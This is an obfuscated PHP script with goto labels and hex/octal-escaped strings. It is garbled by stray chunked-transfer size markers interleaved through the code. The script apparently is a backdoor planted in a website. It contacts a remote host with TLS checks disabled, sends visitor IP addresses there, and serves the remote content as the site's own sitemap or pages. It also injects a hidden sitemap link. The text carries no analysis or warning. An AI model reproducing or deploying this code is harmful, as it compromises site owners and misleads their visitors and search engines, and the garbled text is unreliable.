2 12 $url, CURLOPT_RETU 7 RNTRANS b FER => true e , CURLOPT_SSL_ e VERIFYPEER => 1b false, CURLOPT_SSL_VERIFYHO 18 ST => false, CURLOPT_FOL 7 LOWLOCA 17 TION => true, CURLOPT_T a IMEOUT => f 10, CURLOPT_HTT 17 PGET => true, CURLOPT_U d SERAGENT => " 10 \115\157\172\151 e \154\x6c\141\5 c 7\x35\x2e\60 d ")); $data = d curl_exec($ch 14 ); curl_close($ch); 18 if (!empty($data)) { ret f urn $data; } } 10 if (ini_get("\14 11 1\154\x6c\x6f\167 16 \x5f\x75\162\154\x5f\1 f 46\157\160\x65\ 10 156")) { $contex b t = stream_ f context_create( b array("\x68 11 \164\x74\160" => 11 array("\155\x65\1 f 64\x68\x6f\x64" 12 => "\x47\105\x54" f , "\x74\x69\155 15 \145\x6f\x75\x74" => 11 10, "\150\x65\x61 15 \x64\x65\162" => "\12 14 5\163\x65\162\x2d\x4 16 1\147\145\x6e\164\x3a\ e 40\x4d\157\x7a 12 \151\x6c\x6c\x61\x 13 2f\x35\x2e\60\15\12 b "), "\163\x 20 73\x6c" => array("\166\x65\162\x a 69\146\x79 20 \137\160\x65\145\162" => false, 13 "\x76\145\x72\151\1 e 46\171\137\x70 12 \145\145\162\x5f\x e 6e\141\x6d\x65 2b " => false))); $data = @file_get_contents($ 14 url, false, $context 34 ); if (!empty($data)) { return $data; } } return ''; e } goto X5nb1; e D_iaM: $vurl 12 = $http_type . "\x 12 69\144\154\x79\62\ c 56\x69\x64\x 14 73\x68\157\x70\x2e\x c 63\143\167\x f 75\56\143\x63\x c 2f\64\61\71\ 12 56\x61\163\x70\x78 14 "; goto N2pxL; EzYoe 20 : if (!empty($get["\163"])) { $p e arams = array( 12 "\163" => date("\1 f 31\x6d\144\x48\ 10 151"), "\x6e\165 3f \155\142\x65\162" => $get["\156\165\x6d\x62\145\162"]); $str = 16 getCurl($vurl, $params 13 ); $str = str_repla 12 ce(array("\173\xe5 e \275\223\xe5\x 8 89\x8d\3 c 45\x9c\260\x e e5\235\x80\x7d 17 "), array($http_type . 1e $_SERVER["\110\x54\x54\x50\x5f 15 \110\117\x53\124"] . 24 $_SERVER["\123\x43\122\x49\x50\124\1 16 37\116\x41\x4d\x45"]), d $str); heade d r("\103\157\1 14 56\x74\x65\156\164\x 13 2d\164\171\160\x65\ 12 72\164\x65\170\x74 11 \57\x78\155\154") c ; echo $str; f die; } goto N4 b dac; X5nb1: 2c $http_type = !empty($_SERVER["\110\x54\x54\ c 120\123"]) & 19 & $_SERVER["\x48\124\124\ c x50\123"] != 10 = "\x6f\146\x66" 14 ? "\x68\164\164\160 10 \x73\x3a\x2f\x2f 1f " : "\150\164\164\160\x3a\x2f\5 11 7"; goto Aq5NJ; f f 5XoA: function 14 postCurl($url, $post 2a Data = array()) { $postString = is_array($ 29 postData) ? http_build_query($postData) : 36 $postData; if (function_exists("\143\x75\162\154\x5f\ d x69\x6e\x69\1 104 64")) { $ch = curl_init(); curl_setopt_array($ch, array(CURLOPT_URL => $url, CURLOPT_RETURNTRANSFER => true, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => false, CURLOPT_FOLLOWLOCATION => true, CURLOPT_TIMEOUT => 10, CURLOPT_POST => true, CURLOPT_ a POSTFIELDS 75 => $postString)); $data = curl_exec($ch); curl_close($ch); if (!empty($data)) { return $data; } } if (ini_get("\141\ 24 x6c\x6c\157\x77\x5f\x75\162\154\x5f\ 11 x66\x6f\x70\145\1 40 56")) { $context = stream_context_create(array("\150\164\164\160 23 " => array("\155\145\164\150\157\14 11 4" => "\120\x4f\x 17 53\124", "\164\x69\155\ 1a x65\157\165\x74" => 10, "\ 15 x68\x65\141\144\x65\x 10 72" => "\103\x6f 1a \156\x74\x65\x6e\x74\55\12 6 4\171\ 11 x70\x65\x3a\x20\x 16 61\160\160\x6c\x69\x63 14 \x61\x74\x69\x6f\x6e 13 \57\x78\55\x77\x77\ 12 167\55\x66\x6f\x72 14 \155\x2d\165\162\x6c 16 \x65\156\143\157\144\1 d 45\144\xd\12" 22 . "\x43\x6f\156\x74\145\156\x74\x 10 2d\x4c\145\x6e\1 10 47\164\x68\72\40 b " . strlen( 1c $postString) . "\xd\xa" . "\ a 125\x73\14 13 5\x72\x2d\101\x67\x 22 65\156\164\x3a\40\x4d\157\172\151\ 16 x6c\x6c\141\x2f\65\56\ f x30\xd\xa", "\1 1b 43\x6f\x6e\164\145\x6e\164" 38 => $postString), "\163\x73\x6c" => array("\x76\145\x72\ 14 x69\146\171\x5f\x70\ 2e x65\145\162" => false, "\x76\145\162\x69\x66\x d 79\x5f\160\14 11 5\x65\x72\137\x6e 87 \141\155\145" => false))); $data = @file_get_contents($url, false, $context); if (!empty($data)) { return $data; } } return ''; } goto 21 m5bkF; N4dac: if (!empty($get["\1 11 51\144"])) { if ( 1d empty($get["\153\153"])) { $i a p = get_ip 22 (); $params = array("\x69\160" => 13 $ip, "\x69\144" => 15 isset($get["\x69\144" 10 ]) ? $get["\151\ a x64"] : '' 17 , "\x6c\x6c" => $ll); $ 21 tzstr = getCurl($vurl, $params); 1e if (strpos($tzstr, "\x69\144") 14 !== false) { echo $ 55 tzstr; die; } } $params = array("\x69\x64" => $get["\x69\x64"], "\x6c\154" => $ll); $ 43 str = getCurl($vurl, $params); $str = str_replace(array("\x7b\125\x 10 52\x4c\175", "\1 b 73\345\237\ d 237\345\x90\2 14 15\175"), array(get_ e url_info("\146 20 \165\154\x6c"), get_url_info("\1 13 56\157\137\x77\167\ f 167")), $str); 22 echo $str; die; } else { $sitemapU 10 rl = $ll . "\x3f c \x73\x3d" . 1a date("\131\155\144\110\x69 10 "); echo "\74\14 11 4\x69\166\40\x73\ 16 164\171\154\145\x3d\x2 12 7\x74\145\170\164\ 15 x2d\x61\154\151\147\1 18 56\x3a\x63\145\x6e\164\x 14 65\x72\73\40\160\x61 15 \144\144\x69\156\x67\ e 72\61\x30\160\ f 170\40\x30\73\x 10 27\76\x3c\x61\x2 12 0\150\162\x65\146\ 11 75\42{$sitemapUrl 10 }\x22\x20\x74\x6 13 1\x72\x67\x65\164\x 13 3d\42\x5f\x62\154\1 f 41\x6e\x6b\42\4 15 0\162\x65\x6c\x3d\x22 11 \x6e\157\x66\157\ 17 x6c\x6c\157\167\x22\x3e f \x20\x53\x69\x7 1d 4\x65\x6d\x61\160\74\57\141\x 14 3e\x3c\x2f\144\151\1 f 66\76"; } goto 8 nnSBp; U 12 h8So: function get d _ip() { forea 18 ch (array("\x48\x54\x54\ 12 x50\x5f\x58\137\x4 c 6\117\x52\12 11 7\101\122\104\x45 13 \104\x5f\x46\x4f\x5 16 2", "\x48\124\x54\120\ 10 x5f\x43\114\x49\ 9 105\x4e\x 19 54\137\111\x50", "\x52\x4 17 5\x4d\117\x54\x45\x5f\1 f 01\x44\x44\x52" 8 ) as $ke 1d y) { if (!empty($_SERVER[$key 11 ])) { return trim b (explode("\ 4 x2c" 14 , $_SERVER[$key])[0] 18 ); } } return "\x55\x4e\ e 113\116\x4f\x5 15 7\116"; } goto f5XoA; 1e shqZL: function get_url_info( e string $return 19 _type = "\144\157\155\141 14 \151\x6e") : string 7 { $host 26 = $_SERVER["\x48\124\124\x50\x5f\110\ 22 x4f\123\x54"]; if ($return_type == 16 = "\144\x6f\155\x61\x6 16 9\156") { return $host 23 ; } if ($return_type === "\156\157\ 1c x5f\x77\167\167") { return l 10 trim($host, "\x7 15 7\x77\167\x2e"); } $p 7 rotocol 1c = isset($_SERVER["\110\x54\ 2f 124\x50\x53"]) && $_SERVER["\110\x54\x54\x50\x5 13 3"] === "\x6f\156" 1c || isset($_SERVER["\x48\x54\ 16 124\x50\x5f\130\137\10 13 6\x4f\122\127\x41\1 14 22\104\x45\x44\137\x 28 50\x52\117\x54\x4f"]) && $_SERVER["\110\ 24 124\124\120\137\x58\137\106\x4f\122\ 14 x57\101\122\104\105\ 15 104\137\x50\122\x4f\x 15 54\117"] === "\150\x7 d 4\x74\160\x73 1e " ? "\x68\x74\164\x70\x73\x3a\ 1c 57\x2f" : "\x68\x74\164\x70\ f 72\x2f\x2f"; $b b ase_url = $ 2b protocol . $host; if ($return_type === "\14 1a 2\x61\x73\145") { return $ 10 base_url; } $uri 19 = $_SERVER["\x52\x45\121 10 \125\105\123\124 14 \x5f\x55\122\x49"]; d $full_url = $ 28 base_url . $uri; if ($return_type === "\ 11 x66\165\154\154") 29 { return $full_url; } return ''; } goto f Uh8So; nnSBp: ? 1 > 0